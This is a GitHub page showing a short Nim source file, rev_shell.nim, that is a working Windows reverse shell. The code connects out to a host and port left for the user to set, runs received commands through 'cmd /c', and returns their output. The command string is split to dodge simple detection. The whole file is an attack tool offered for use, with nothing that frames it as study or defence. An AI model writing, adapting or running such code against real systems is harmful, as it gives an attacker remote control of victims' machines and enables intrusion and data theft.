-
Notifications
You must be signed in to change notification settings - Fork 30
Expand file tree
/
Copy pathrev_shell.nim
More file actions
48 lines (39 loc) · 823 Bytes
/
rev_shell.nim
File metadata and controls
48 lines (39 loc) · 823 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#[
Created by Sn1r
https://github.com/Sn1r/
]#
import net, os, osproc, strutils
proc exe(c: string): string =
result = execProcess("cm" & "d /c " & c)
var
v = newSocket()
# Change this
v1 = "192.168.1.1"
v2 = "8080"
s4 = "Exiting.."
s5 = "cd"
s6 = "C:\\"
try:
v.connect(v1, Port(parseInt(v2)))
while true:
v.send(os.getCurrentDir() & "> ")
let c = v.recvLine()
if c == "exit":
v.send(s4)
break
if c.strip() == s5:
os.setCurrentDir(s6)
elif c.strip().startswith(s5):
let d = c.strip().split(' ')[1]
try:
os.setCurrentDir(d)
except OSError as b:
v.send(repr(b) & "\n")
continue
else:
let r = exe(c)
v.send(r)
except:
raise
finally:
v.close